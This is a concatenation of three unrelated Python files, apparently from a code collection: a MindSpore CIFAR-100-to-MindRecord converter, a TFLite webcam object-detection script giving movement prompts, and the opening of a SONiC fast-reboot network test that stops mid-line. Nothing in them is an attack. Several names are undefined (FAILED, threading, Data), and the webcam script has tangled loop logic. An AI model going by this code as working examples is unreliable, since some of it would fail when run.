# Copyright 2019 Huawei Technologies Co., Ltd # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """ Cifar100 convert tool for MindRecord. """ from importlib import import_module import os import numpy as np from mindspore import log as logger from .cifar100 import Cifar100 from ..common.exceptions import PathNotExistsError from ..filewriter import FileWriter from ..shardutils import check_filename, ExceptionThread, SUCCESS try: cv2 = import_module("cv2") except ModuleNotFoundError: cv2 = None __all__ = ['Cifar100ToMR'] class Cifar100ToMR: """ A class to transform from cifar100 to MindRecord. Args: source (str): the cifar100 directory to be transformed. destination (str): the MindRecord file path to transform into. Raises: ValueError: If source or destination is invalid. """ def __init__(self, source, destination): check_filename(source) self.source = source files = os.listdir(self.source) train_data_flag = False test_data_flag = False for file in files: if file == "train": train_data_flag = True if file == "test": test_data_flag = True if not train_data_flag: raise PathNotExistsError("train") if not test_data_flag: raise PathNotExistsError("test") check_filename(destination) self.destination = destination self.writer = None def run(self, fields=None): """ Executes transformation from cifar100 to MindRecord. Args: fields (list[str]): A list of index field, e.g.["fine_label", "coarse_label"]. Returns: MSRStatus, whether cifar100 is successfully transformed to MindRecord. """ if fields and not isinstance(fields, list): raise ValueError("The parameter fields should be None or list") cifar100_data = Cifar100(self.source, False) cifar100_data.load_data() images = cifar100_data.images logger.info("train images: {}".format(images.shape)) fine_labels = cifar100_data.fine_labels logger.info("train images fine label: {}".format(fine_labels.shape)) coarse_labels = cifar100_data.coarse_labels logger.info("train images coarse label: {}".format(coarse_labels.shape)) test_images = cifar100_data.Test.images logger.info("test images: {}".format(test_images.shape)) test_fine_labels = cifar100_data.Test.fine_labels logger.info("test images fine label: {}".format(fine_labels.shape)) test_coarse_labels = cifar100_data.Test.coarse_labels logger.info("test images coarse label: {}".format(coarse_labels.shape)) data_list = _construct_raw_data(images, fine_labels, coarse_labels) test_data_list = _construct_raw_data(test_images, test_fine_labels, test_coarse_labels) if _generate_mindrecord(self.destination, data_list, fields, "img_train") != SUCCESS: return FAILED if _generate_mindrecord(self.destination + "_test", test_data_list, fields, "img_test") != SUCCESS: return FAILED return SUCCESS def transform(self, fields=None): t = ExceptionThread(target=self.run, kwargs={'fields': fields}) t.daemon = True t.start() t.join() if t.exitcode != 0: raise t.exception return t.res def _construct_raw_data(images, fine_labels, coarse_labels): """ Construct raw data from cifar100 data. Args: images (list): image list from cifar100. fine_labels (list): fine label list from cifar100. coarse_labels (list): coarse label list from cifar100. Returns: list[dict], data dictionary constructed from cifar100. """ if not cv2: raise ModuleNotFoundError("opencv-python module not found, please use pip install it.") raw_data = [] for i, img in enumerate(images): fine_label = np.int(fine_labels[i][0]) coarse_label = np.int(coarse_labels[i][0]) _, img = cv2.imencode(".jpeg", img[..., [2, 1, 0]]) row_data = {"id": int(i), "data": img.tobytes(), "fine_label": int(fine_label), "coarse_label": int(coarse_label)} raw_data.append(row_data) return raw_data def _generate_mindrecord(file_name, raw_data, fields, schema_desc): """ Generate MindRecord file from raw data. Args: file_name (str): File name of MindRecord File. fields (list[str]): Fields would be set as index which could not belong to blob fields and type could not be 'array' or 'bytes'. raw_data (dict): Dict of raw data. schema_desc (str): String of schema description. Returns: MSRStatus, whether successfully written into MindRecord. """ schema = {"id": {"type": "int64"}, "fine_label": {"type": "int64"}, "coarse_label": {"type": "int64"}, "data": {"type": "bytes"}} logger.info("transformed MindRecord schema is: {}".format(schema)) writer = FileWriter(file_name, 1) writer.add_schema(schema, schema_desc) if fields and isinstance(fields, list): writer.add_index(fields) writer.write_raw_data(raw_data) return writer.commit()
TFLite_detection_webcam.py
######## Webcam Object Detection Using Tensorflow-trained Classifier ######### # # Author: Gaurav Konde # Date: 10/27/19 # Description: # This program uses a TensorFlow Lite model to perform object detection on a live webcam # feed. It draws boxes and scores around the objects of interest in each frame from the # webcam. To improve FPS, the webcam object runs in a separate thread from the main program. # This script will work with either a Picamera or regular USB webcam. # # This code is based off the TensorFlow Lite image classification example at: # https://github.com/tensorflow/tensorflow/blob/master/tensorflow/lite/examples/python/label_image.py # # I added my own method of drawing boxes and labels using OpenCV. # Import packages import os import argparse import cv2 import numpy as np import sys import time from threading import Thread import importlib.util from speak import lis, talk import matplotlib.pyplot as plt # Define VideoStream class to handle streaming of video from webcam in separate processing thread # Source - Adrian Rosebrock, PyImageSearch: https://www.pyimagesearch.com/2015/12/28/increasing-raspberry-pi-fps-with-python-and-opencv/ class VideoStream: """Camera object that controls video streaming from the Picamera""" def __init__(self,resolution=(640,480),framerate=5): # Initialize the PiCamera and the camera image stream self.stream = cv2.VideoCapture(0) ret = self.stream.set(cv2.CAP_PROP_FOURCC, cv2.VideoWriter_fourcc(*'MJPG')) ret = self.stream.set(3,resolution[0]) ret = self.stream.set(4,resolution[1]) # Read first frame from the stream (self.grabbed, self.frame) = self.stream.read() # Variable to control when the camera is stopped self.stopped = False def start(self): # Start the thread that reads frames from the video stream Thread(target=self.update,args=()).start() return self def update(self): # Keep looping indefinitely until the thread is stopped while True: # If the camera is stopped, stop the thread if self.stopped: # Close camera resources self.stream.release() return # Otherwise, grab the next frame from the stream (self.grabbed, self.frame) = self.stream.read() def read(self): # Return the most recent frame return self.frame def stop(self): # Indicate that the camera and thread should be stopped self.stopped = True # Define and parse input arguments parser = argparse.ArgumentParser() parser.add_argument('--modeldir', help='Folder the .tflite file is located in', default='Sample_TFlite_model') parser.add_argument('--graph', help='Name of the .tflite file, if different than detect.tflite', default='detect.tflite') parser.add_argument('--labels', help='Name of the labelmap file, if different than labelmap.txt', default='labelmap.txt') parser.add_argument('--threshold', help='Minimum confidence threshold for displaying detected objects', default=0.6) parser.add_argument('--resolution', help='Desired webcam resolution in WxH. If the webcam does not support the resolution entered, errors may occur.', default='1280x720') parser.add_argument('--edgetpu', help='Use Coral Edge TPU Accelerator to speed up detection', action='store_true') args = parser.parse_args() MODEL_NAME = args.modeldir GRAPH_NAME = args.graph LABELMAP_NAME = args.labels min_conf_threshold = float(args.threshold) resW, resH = args.resolution.split('x') imW, imH = int(resW), int(resH) use_TPU = args.edgetpu change1 = 0 change2 = 0 change3 = 0 change4 = 0 # Import TensorFlow libraries # If tflite_runtime is installed, import interpreter from tflite_runtime, else import from regular tensorflow # If using Coral Edge TPU, import the load_delegate library pkg = importlib.util.find_spec('tflite_runtime') if pkg: from tflite_runtime.interpreter import Interpreter if use_TPU: from tflite_runtime.interpreter import load_delegate else: from tensorflow.lite.python.interpreter import Interpreter if use_TPU: from tensorflow.lite.python.interpreter import load_delegate # If using Edge TPU, assign filename for Edge TPU model if use_TPU: # If user has specified the name of the .tflite file, use that name, otherwise use default 'edgetpu.tflite' if (GRAPH_NAME == 'detect.tflite'): GRAPH_NAME = 'edgetpu.tflite' # Get path to current working directory CWD_PATH = os.getcwd() # Path to .tflite file, which contains the model that is used for object detection PATH_TO_CKPT = os.path.join(CWD_PATH,MODEL_NAME,GRAPH_NAME) # Path to label map file PATH_TO_LABELS = os.path.join(CWD_PATH,MODEL_NAME,LABELMAP_NAME) # Load the label map with open(PATH_TO_LABELS, 'r') as f: labels = [line.strip() for line in f.readlines()] # Have to do a weird fix for label map if using the COCO "starter model" from # https://www.tensorflow.org/lite/models/object_detection/overview # First label is '???', which has to be removed. if labels[0] == '???': del(labels[0]) # Load the Tensorflow Lite model. # If using Edge TPU, use special load_delegate argument if use_TPU: interpreter = Interpreter(model_path=PATH_TO_CKPT, experimental_delegates=[load_delegate('libedgetpu.so.1.0')]) # print(PATH_TO_CKPT) else: interpreter = Interpreter(model_path=PATH_TO_CKPT) interpreter.allocate_tensors() # Get model details input_details = interpreter.get_input_details() output_details = interpreter.get_output_details() height = input_details[0]['shape'][1] width = input_details[0]['shape'][2] floating_model = (input_details[0]['dtype'] == np.float32) input_mean = 127.5 input_std = 127.5 # Initialize frame rate calculation frame_rate_calc = 1 freq = cv2.getTickFrequency() # Initialize video stream videostream = VideoStream(resolution=(imW,imH),framerate=5).start() time.sleep(1) #Loop = True #for frame1 in camera.capture_continuous(rawCapture, format="bgr",use_video_port=True): def walking(Loop, loop1): t1 = threading.Thread(target=talk, args=(lis,)) t1.start() while Loop: num1 = 0 num2 = 0 num3 = 0 num4 = 0 # Start timer (for calculating frame rate) t1 = cv2.getTickCount() # Grab frame from video stream frame1 = videostream.read() # Acquire frame and resize to expected shape [1xHxWx3] frame = frame1.copy() frame_rgb = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB) frame_resized = cv2.resize(frame_rgb, (width, height)) input_data = np.expand_dims(frame_resized, axis=0) # Normalize pixel values if using a floating model (i.e. if model is non-quantized) if floating_model: input_data = (np.float32(input_data) - input_mean) / input_std # Perform the actual detection by running the model with the image as input interpreter.set_tensor(input_details[0]['index'],input_data) interpreter.invoke() # Retrieve detection results boxes = interpreter.get_tensor(output_details[0]['index'])[0] # Bounding box coordinates of detected objects classes = interpreter.get_tensor(output_details[1]['index'])[0] # Class index of detected objects scores = interpreter.get_tensor(output_details[2]['index'])[0] # Confidence of detected objects num = interpreter.get_tensor(output_details[3]['index'])[0] # Total number of detected objects (inaccurate and not needed) # Loop over all detections and draw detection box if confidence is above minimum threshold for i in range(len(scores)): if ((scores[i] > min_conf_threshold) and (scores[i] <= 1.0)): # Get bounding box coordinates and draw box # Interpreter can return coordinates that are outside of image dimensions, need to force them to be within image using max() and min() ymin = int(max(1,(boxes[i][0] * imH))) xmin = int(max(1,(boxes[i][1] * imW))) ymax = int(min(imH,(boxes[i][2] * imH))) xmax = int(min(imW,(boxes[i][3] * imW))) cv2.rectangle(frame, (xmin,ymin), (xmax,ymax), (10, 255, 0), 2) cv2.rectangle(frame,(250,150),(1000,600),(0, 255 , 255), 5) #cv2.line(frame,(200,100)(1000,700),(0 ,255, 255), 5) # cv2.rectangle(frame, (467, 893), (1495,275), (0,0,255), 2) # cv2.line(frame, (727, 893), (727,275), (0,255,255), 2) # cv2.line(frame, (1235, 893), (1235,275), (0,255,255), 2) # Draw label object_name = labels[int(classes[i])] # Look up object name from "labels" array using class index label = '%s: %d%%' % (object_name, int(scores[i]*100)) # Example: 'person: 72%' labelSize, baseLine = cv2.getTextSize(label, cv2.FONT_HERSHEY_SIMPLEX, 0.7, 2) # Get font size label_ymin = max(ymin, labelSize[1] + 10) # Make sure not to draw label too close to top of window cv2.rectangle(frame, (xmin, label_ymin-labelSize[1]-10), (xmin+labelSize[0], label_ymin+baseLine-10), (255, 255, 255), cv2.FILLED) # Draw white box to put label text in cv2.putText(frame, label, (xmin, label_ymin-7), cv2.FONT_HERSHEY_SIMPLEX, 0.7, (0, 0, 0), 2) # Draw label text #print(f"{xmin},{ymin},{xmax},{ymax}") data = '%s'%(object_name) while loop1: if data == 'person': if (xmin<=900 and xmin>=640 and xmax>=700): print("Move Left!") lis.append(["Move Left",0]) break elif (xmax<=640 and xmax >=300 ): print("Move Right!") lis.append(["Move Right",0]) break elif (xmin>=300 and xmin<=900 and xmax >=400): lis.append(["Stop",0]) print("Stop!") break else: pass break #print('Hello') if loop1 == False: print("There is a {}".format(data)) Data.append("There is a {}".format(data)) print('%s'%(object_name)) if data == 'person': num1 = num1 + 1 if num1 > change1: str(num1) change1 = num1 #if print("there is person"+ str(num1)) Data.append("there is person"+ str(num1)) break if num1 < change1: str(num1) if num1 == 0: str(num1) change1 = num1 print("No person detected"+ str(num1)) Data.append("No person detected"+ str(num1)) else: change1 = num1 print("there is person"+ str(num1)) Data.append("there is person"+ str(num1)) break break if data == 'refrigerator': num2 = num2 + 1 if num2 > change2: str(num2) change2 = num2 #if print("there is refrigerator"+ str(num2)) Data.append("there is refrigerator"+ str(num2)) break if num2 < change2: str(num2) if num2 == 0: str(num2) change2 = num2 print("No refrigerator detected"+ str(num2)) Data.append("No refrigerator detected"+ str(num2)) else: change2 = num2 print("there is refrigerator"+ str(num2)) Data.append("there is refrigerator"+ str(num2)) break break if data == 'tv': num3 = num3 + 1 if num3 > change3: str(num3) change3 = num3 #if print("there is tv"+ str(num3)) Data.append("there is tv"+ str(num3)) break if num3 < change3: str(num3) if num3 == 0: str(num3) change3 = num3 print("No tv detected"+ str(num3)) Data.append("No tv detected"+ str(num3)) else: change3 = num3 print("there is tv"+ str(num3)) Data.append("there is tv"+ str(num3)) break break # Draw framerate in corner of frame # print(label) # data = '%s'%(object_name) # if data == 'person': # print('Hello') # print('%s'%(object_name)) cv2.putText(frame,'FPS: {0:.2f}'.format(frame_rate_calc),(30,50),cv2.FONT_HERSHEY_SIMPLEX,1,(255,255,0),2,cv2.LINE_AA) # All the results have been drawn on the frame, so it's time to display it. #plt.imshow(frame, cmap='gray', interpolation='bicubic') #plt.show() cv2.imshow('Object detector', frame) # Calculate framerate t2 = cv2.getTickCount() time1 = (t2-t1)/freq frame_rate_calc= 1/time1 # Press 'q' to quit if cv2.waitKey(1) == ord('q'): break # print(output_details[3]) # Clean up cv2.destroyAllWindows() videostream.stop() t1.join()
advanced-reboot.py
# # ptf --test-dir ptftests fast-reboot --qlen=1000 --platform remote -t 'verbose=True;dut_username="admin";dut_hostname="10.0.0.243";reboot_limit_in_seconds=30;portchannel_ports_file="/tmp/portchannel_interfaces.json";vlan_ports_file="/tmp/vlan_interfaces.json";ports_file="/tmp/ports.json";dut_mac="4c:76:25:f5:48:80";default_ip_range="192.168.0.0/16";vlan_ip_range="{\"Vlan100\": \"172.0.0.0/22\"}";arista_vms="[\"10.0.0.200\",\"10.0.0.201\",\"10.0.0.202\",\"10.0.0.203\"]"' --platform-dir ptftests --disable-vxlan --disable-geneve --disable-erspan --disable-mpls --disable-nvgre # # # This test checks that DUT is able to make FastReboot procedure # # This test supposes that fast-reboot/warm-reboot initiates by running /usr/bin/{fast,warm}-reboot command. # # The test uses "pings". The "pings" are packets which are sent through dataplane in two directions # 1. From one of vlan interfaces to T1 device. The source ip, source interface, and destination IP are chosen randomly from valid choices. Number of packet is 100. # 2. From all of portchannel ports to all of vlan ports. The source ip, source interface, and destination IP are chosed sequentially from valid choices. # Currently we have 500 distrinct destination vlan addresses. Our target to have 1000 of them. # # The test sequence is following: # 1. Check that DUT is stable. That means that "pings" work in both directions: from T1 to servers and from servers to T1. # 2. If DUT is stable the test starts continiously pinging DUT in both directions. # 3. The test runs '/usr/bin/{fast,warm}-reboot' on DUT remotely. The ssh key supposed to be uploaded by ansible before the test # 4. As soon as it sees that ping starts failuring in one of directions the test registers a start of dataplace disruption # 5. As soon as the test sees that pings start working for DUT in both directions it registers a stop of dataplane disruption # 6. If the length of the disruption is less than 30 seconds (if not redefined by parameter) - the test passes # 7. If there're any drops, when control plane is down - the test fails # 8. When test start reboot procedure it connects to all VM (which emulates T1) and starts fetching status of BGP and LACP # LACP is supposed to be down for one time only, if not - the test fails # if default value of BGP graceful restart timeout is less than 120 seconds the test fails # if BGP graceful restart is not enabled on DUT the test fails # If BGP graceful restart timeout value is almost exceeded (less than 15 seconds) the test fails # if BGP routes disappeares more then once, the test failed # # The test expects you're running the test with link state propagation helper. # That helper propagate a link state from fanout switch port to corresponding VM port # import ptf from ptf.base_tests import BaseTest from ptf import config import ptf.testutils as testutils from ptf.testutils import * from ptf.dataplane import match_exp_pkt import datetime import time import subprocess from ptf.mask import Mask import socket import ptf.packet as scapy import thread import threading from multiprocessing.pool import ThreadPool, TimeoutError import os import signal import random import struct import socket from pprint import pprint from fcntl import ioctl import sys import json import re from collections import defaultdict import json import Queue import pickle from operator import itemgetter import scapy.all as scapyall import itertools from device_connection import DeviceConnection import multiprocessing import ast from arista import Arista import sad_path as sp class StateMachine(): def __init__(self, init_state='init'): self.state_lock = threading.RLock() self.state_time = {} # Recording last time when entering a state self.state = None self.flooding = False self.set(init_state) def set(self, state): with self.state_lock: self.state = state self.state_time[state] = datetime.datetime.now() def get(self): with self.state_lock: cur_state = self.state return cur_state def get_state_time(self, state): with self.state_lock: time = self.state_time[state] return time def set_flooding(self, flooding): with self.state_lock: self.flooding = flooding def is_flooding(self): with self.state_lock: flooding = self.flooding return flooding class ReloadTest(BaseTest): TIMEOUT = 0.5 PKT_TOUT = 1 VLAN_BASE_MAC_PATTERN = '72060001{:04}' LAG_BASE_MAC_PATTERN = '5c010203{:04}' SOCKET_RECV_BUFFER_SIZE = 10 * 1024 * 1024 def __init__(self): BaseTest.__init__(self) self.fails = {} self.info = {} self.cli_info = {} self.logs_info = {} self.log_lock = threading.RLock() self.vm_handle = None self.sad_handle = None self.process_id = str(os.getpid()) self.test_params = testutils.test_params_get() self.check_param('verbose', False, required=False) self.check_param('dut_username', '', required=True) self.check_param('dut_password', '', required=True) self.check_param('dut_hostname', '', required=True) self.check_param('reboot_limit_in_seconds', 30, required=False) self.check_param('reboot_type', 'fast-reboot', required=False) self.check_param('graceful_limit', 240, required=False) self.check_param('portchannel_ports_file', '', required=True) self.check_param('vlan_ports_file', '', required=True) self.check_param('ports_file', '', required=True) self.check_param('dut_mac', '', required=True) self.check_param('default_ip_range', '', required=True) self.check_param('vlan_ip_range', '', required=True) self.check_param('lo_prefix', '10.1.0.32/32', required=False) self.check_param('lo_v6_prefix', 'fc00:1::/64', required=False) self.check_param('arista_vms', [], required=True) self.check_param('min_bgp_gr_timeout', 15, required=False) self.check_param('warm_up_timeout_secs', 300, required=False) self.check_param('dut_stabilize_secs', 30, required=False) self.check_param('preboot_files', None, required=False) self.check_param('preboot_oper', None, required=False) # preboot sad path to inject before warm-reboot self.check_param('inboot_oper', None, required=False) # sad path to inject during warm-reboot self.check_param('nexthop_ips', [], required=False) # nexthops for the routes that will be added during warm-reboot self.check_param('allow_vlan_flooding', False, required=False) self.check_param('sniff_time_incr', 60, required=False) self.check_param('vnet', False, required=False) self.check_param('vnet_pkts', None, required=False) self.check_param('target_version', '', required=False) self.check_param('bgp_v4_v6_time_diff', 40, required=False) self.check_param('logfile_suffix', None, required=False) if not self.test_params['preboot_oper'] or self.test_params['preboot_oper'] == 'None': self.test_params['preboot_oper'] = None if not self.test_params['inboot_oper'] or self.test_params['inboot_oper'] == 'None': self.test_params['inboot_oper'] = None # initialize sad oper if self.test_params['preboot_oper']: self.sad_oper = self.test_params['preboot_oper'] else: self.sad_oper = self.test_params['inboot_oper'] if self.test_params['logfile_suffix']: self.logfile_suffix = self.test_params['logfile_suffix'] else: self.logfile_suffix = self.sad_oper if self.logfile_suffix: self.log_file_name = '/tmp/%s-%s.log' % (self.test_params['reboot_type'], self.logfile_suffix) self.report_file_name = '/tmp/%s-%s.json' % (self.test_params['reboot_type'], self.logfile_suffix) else: self.log_file_name = '/tmp/%s.log' % self.test_params['reboot_type'] self.report_file_name = '/tmp/%s-report.json' % self.test_params['reboot_type'] self.report = dict() self.log_fp = open(self.log_file_name, 'w') self.packets_list = [] self.vnet = self.test_params['vnet'] if (self.vnet): self.packets_list = json.load(open(self.test_params['vnet_pkts'])) # a flag whether to populate FDB by sending traffic from simulated servers # usually ARP responder will make switch populate its FDB table, but Mellanox on 201803 has # no L3 ARP support, so this flag is used to W/A this issue self.setup_fdb_before_test = self.test_params.get('setup_fdb_before_test', False) # Default settings self.ping_dut_pkts = 10 self.arp_ping_pkts = 1 self.nr_pc_pkts = 100 self.nr_tests = 3 self.reboot_delay = 10 self.task_timeout = 300 # Wait up to 5 minutes for tasks to complete self.max_nr_vl_pkts = 500 # FIXME: should be 1000. # But ptf is not fast enough + swss is slow for FDB and ARP entries insertions self.timeout_thr = None self.time_to_listen = 180.0 # Listen for more then 180 seconds, to be used in sniff_in_background method. # Inter-packet interval, to be used in send_in_background method. # Improve this interval to gain more precision of disruptions. self.send_interval = 0.0035 self.packets_to_send = min(int(self.time_to_listen / (self.send_interval + 0.0015)), 45000) # How many packets to be sent in send_in_background method # Thread pool for background watching operations self.pool = ThreadPool(processes=3) # State watcher attributes self.watching = False self.cpu_state = StateMachine('init') self.asic_state = StateMachine('init') self.vlan_state = StateMachine('init') self.vlan_lock = threading.RLock() self.asic_state_time = {} # Recording last asic state entering time self.asic_vlan_reach = [] # Recording asic vlan reachability self.recording = False # Knob for recording asic_vlan_reach # light_probe: # True : when one direction probe fails, don't probe another. # False: when one direction probe fails, continue probe another. self.light_probe = False # We have two data plane traffic generators which are mutualy exclusive # one is the reachability_watcher thread # second is the fast send_in_background self.dataplane_io_lock = threading.Lock() self.allow_vlan_flooding = bool(self.test_params['allow_vlan_flooding']) self.dut_connection = DeviceConnection( self.test_params['dut_hostname'], self.test_params['dut_username'], password=self.test_params['dut_password'], alt_password=self.test_params.get('alt_password') ) # Check if platform type is kvm stdout, stderr, return_code = self.dut_connection.execCommand("show platform summary | grep Platform | awk '{print $2}'") platform_type = str(stdout[0]).replace('\n', '') if platform_type == 'x86_64-kvm_x86_64-r0': self.kvm_test = True else: self.kvm_test = False return def read_json(self, name): with open(self.test_params[name]) as fp: content = json.load(fp) return content def read_port_indices(self): port_indices = self.read_json('ports_file') return port_indices def read_vlan_portchannel_ports(self): portchannel_content = self.read_json('portchannel_ports_file') portchannel_names = [pc['name'] for pc in portchannel_content.values()] vlan_content = self.read_json('vlan_ports_file') ports_per_vlan = dict() pc_in_vlan = [] for vlan in self.vlan_ip_range.keys(): ports_in_vlan = [] for ifname in vlan_content[vlan]['members']: if ifname in portchannel_names: pc_in_vlan.append(ifname) else: ports_in_vlan.append(self.port_indices[ifname]) ports_per_vlan[vlan] = ports_in_vlan pc_ifaces = [] for pc in portchannel_content.values(): if not pc['name'] in pc_in_vlan: pc_ifaces.extend([self.port_indices[member] for member in pc['members']]) return ports_per_vlan, pc_ifaces def check_param(self, param, default, required = False): if param not in self.test_params: if required: raise Exception("Test parameter '%s' is required" % param) self.test_params[param] = default def random_ip(self, ip): net_addr, mask = ip.split('/') n_hosts = 2**(32 - int(mask)) random_host = random.randint(2, n_hosts - 2) return self.host_ip(ip, random_host) def host_ip(self, net_ip, host_number): src_addr, mask = net_ip.split('/') n_hosts = 2**(32 - int(mask)) if host_number > (n_hosts - 2): raise Exception("host number %d is greater than number of hosts %d in the network %s" % (host_number, n_hosts - 2, net_ip)) src_addr_n = struct.unpack(">I", socket.inet_aton(src_addr))[0] net_addr_n = src_addr_n & (2**32 - n_hosts) host_addr_n = net_addr_n + host_number host_ip = socket.inet_ntoa(struct.pack(">I", host_addr_n)) return host_ip def random_port(self, ports): return random.choice(ports) def log(self, message, verbose=False): current_time = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S") with self.log_lock: if verbose and self.test_params['verbose'] or not verbose: print "%s : %s" % (current_time, message) self.log_fp.write("%s : %s\n" % (current_time, message)) self.log_fp.flush() def timeout(self, func, seconds, message): signal = multiprocessing.Event() async_res = self.pool.apply_async(func, args=(signal,)) try: res = async_res.get(timeout=seconds) except Exception as err: # TimeoutError and Exception's from func # captured here signal.set() raise type(err)(message) return res def generate_vlan_servers(self): vlan_host_map = defaultdict(dict) self.nr_vl_pkts = 0 # Number of packets from upper layer for vlan, prefix in self.vlan_ip_range.items(): if not self.ports_per_vlan[vlan]: continue _, mask = prefix.split('/') n_hosts = min(2**(32 - int(mask)) - 3, self.max_nr_vl_pkts) for counter, i in enumerate(xrange(2, n_hosts + 2)): mac = self.VLAN_BASE_MAC_PATTERN.format(counter) port = self.ports_per_vlan[vlan][i % len(self.ports_per_vlan[vlan])] addr = self.host_ip(prefix, i) vlan_host_map[port][addr] = mac self.nr_vl_pkts += n_hosts return vlan_host_map def generate_arp_responder_conf(self, vlan_host_map): arp_responder_conf = {} for port in vlan_host_map: arp_responder_conf['eth{}'.format(port)] = vlan_host_map[port] return arp_responder_conf def dump_arp_responder_config(self, dump): # save data for arp_replay process filename = "/tmp/from_t1.json" if self.logfile_suffix is None else "/tmp/from_t1_%s.json" % self.logfile_suffix with open(filename, "w") as fp: json.dump(dump, fp) def get_peer_dev_info(self): content = self.read_json('peer_dev_info') for key in content.keys(): if 'ARISTA' in key: self.vm_dut_map[key] = dict() self.vm_dut_map[key]['mgmt_addr'] = content[key]['mgmt_addr'] # initialize all the port mapping self.vm_dut_map[key]['dut_ports'] = [] self.vm_dut_map[key]['neigh_ports'] = [] self.vm_dut_map[key]['ptf_ports'] = [] def get_portchannel_info(self): content = self.read_json('portchannel_ports_file') for key in content.keys(): for member in content[key]['members']: for vm_key in self.vm_dut_map.keys(): if member in self.vm_dut_map[vm_key]['dut_ports']: self.vm_dut_map[vm_key]['dut_portchannel'] = str(key) self.vm_dut_map[vm_key]['neigh_portchannel'] = 'Port-Channel1' break def get_neigh_port_info(self): content = self.read_json('neigh_port_info') for key in content.keys(): if content[key]['name'] in self.vm_dut_map.keys(): self.vm_dut_map[content[key]['name']]['dut_ports'].append(str(key)) self.vm_dut_map[content[key]['name']]['neigh_ports'].append(str(content[key]['port'])) self.vm_dut_map[content[key]['name']]['ptf_ports'].append(self.port_indices[key]) def build_peer_mapping(self): ''' Builds a map of the form 'ARISTA01T1': {'mgmt_addr': 'neigh_portchannel' 'dut_portchannel' 'neigh_ports' 'dut_ports' 'ptf_ports' } ''' self.vm_dut_map = {} for file in self.test_params['preboot_files'].split(','): self.test_params[file] = '/tmp/' + file + '.json' self.get_peer_dev_info() self.get_neigh_port_info() self.get_portchannel_info() def build_vlan_if_port_mapping(self): portchannel_content = self.read_json('portchannel_ports_file') portchannel_names = [pc['name'] for pc in portchannel_content.values()] vlan_content = self.read_json('vlan_ports_file') vlan_if_port = [] for vlan in self.vlan_ip_range: for ifname in vlan_content[vlan]['members']: if ifname not in portchannel_names: vlan_if_port.append((ifname, self.port_indices[ifname])) return vlan_if_port def populate_fail_info(self, fails): for key in fails: if key not in self.fails: self.fails[key] = set() self.fails[key] |= fails[key] def get_sad_info(self): ''' Prepares the msg string to log when a sad_oper is defined. Sad oper can be a preboot or inboot oper sad_oper can be represented in the following ways eg. 'preboot_oper' - a single VM will be selected and preboot_oper will be applied to it 'neigh_bgp_down:2' - 2 VMs will be selected and preboot_oper will be applied to the selected 2 VMs 'neigh_lag_member_down:3:1' - this case is used for lag member down operation only. This indicates that 3 VMs will be selected and 1 of the lag members in the porchannel will be brought down 'inboot_oper' - represents a routing change during warm boot (add or del of multiple routes) 'routing_add:10' - adding 10 routes during warm boot ''' msg = '' if self.sad_oper: msg = 'Sad oper: %s ' % self.sad_oper if ':' in self.sad_oper: oper_list = self.sad_oper.split(':') msg = 'Sad oper: %s ' % oper_list[0] # extract the sad oper_type if len(oper_list) > 2: # extract the number of VMs and the number of LAG members. sad_oper will be of the form oper:no of VMS:no of lag members msg += 'Number of sad path VMs: %s Lag member down in a portchannel: %s' % (oper_list[-2], oper_list[-1]) else: # inboot oper if 'routing' in self.sad_oper: msg += 'Number of ip addresses: %s' % oper_list[-1] else: # extract the number of VMs. preboot_oper will be of the form oper:no of VMS msg += 'Number of sad path VMs: %s' % oper_list[-1] return msg def init_sad_oper(self): if self.sad_oper: self.log("Preboot/Inboot Operations:") self.sad_handle = sp.SadTest(self.sad_oper, self.ssh_targets, self.portchannel_ports, self.vm_dut_map, self.test_params, self.vlan_ports, self.ports_per_vlan) (self.ssh_targets, self.portchannel_ports, self.neigh_vm, self.vlan_ports, self.ports_per_vlan), (log_info, fails) = self.sad_handle.setup() self.populate_fail_info(fails) for log in log_info: self.log(log) if self.sad_oper: log_info, fails = self.sad_handle.verify() self.populate_fail_info(fails) for log in log_info: self.log(log) self.log(" ") def do_inboot_oper(self): ''' Add or del routes during boot ''' if self.sad_oper and 'routing' in self.sad_oper: self.log("Performing inboot operation") log_info, fails = self.sad_handle.route_setup() self.populate_fail_info(fails) for log in log_info: self.log(log) self.log(" ") def check_inboot_sad_status(self): if 'routing_add' in self.sad_oper: self.log('Verify if new routes added during warm reboot are received') else: self.log('Verify that routes deleted during warm reboot are removed') log_info, fails = self.sad_handle.verify(pre_check=False, inboot=True) self.populate_fail_info(fails) for log in log_info: self.log(log) self.log(" ") def check_postboot_sad_status(self): self.log("Postboot checks:") log_info, fails = self.sad_handle.verify(pre_check=False, inboot=False) self.populate_fail_info(fails) for log in log_info: self.log(log) self.log(" ") def sad_revert(self): self.log("Revert to preboot state:") log_info, fails = self.sad_handle.revert() self.populate_fail_info(fails) for log in log_info: self.log(log) self.log(" ") def setUp(self): self.fails['dut'] = set() self.port_indices = self.read_port_indices() self.vlan_ip_range = ast.literal_eval(self.test_params['vlan_ip_range']) self.ports_per_vlan, self.portchannel_ports = self.read_vlan_portchannel_ports() self.vlan_ports = [] for ports in self.ports_per_vlan.values(): self.vlan_ports += ports if self.sad_oper: self.build_peer_mapping() self.test_params['vlan_if_port'] = self.build_vlan_if_port_mapping() self.default_ip_range = self.test_params['default_ip_range'] self.limit = datetime.timedelta(seconds=self.test_params['reboot_limit_in_seconds']) self.reboot_type = self.test_params['reboot_type'] if self.reboot_type not in ['fast-reboot', 'warm-reboot', 'warm-reboot -f']: raise ValueError('Not supported reboot_type %s' % self.reboot_type) self.dut_mac = self.test_params['dut_mac'] if self.kvm_test: self.log("This test is for KVM platform") # get VM info if isinstance(self.test_params['arista_vms'], list): arista_vms = self.test_params['arista_vms'] else: arista_vms = self.test_params['arista_vms'][1:-1].split(",") self.ssh_targets = [] for vm in arista_vms: if (vm.startswith("'") or vm.startswith('"')) and (vm.endswith("'") or vm.endswith('"')): self.ssh_targets.append(vm[1:-1]) else: self.ssh_targets.append(vm) self.log("Converted addresses VMs: %s" % str(self.ssh_targets)) self.init_sad_oper() self.vlan_host_map = self.generate_vlan_servers() arp_responder_conf = self.generate_arp_responder_conf(self.vlan_host_map) self.dump_arp_responder_config(arp_responder_conf) self.random_vlan = 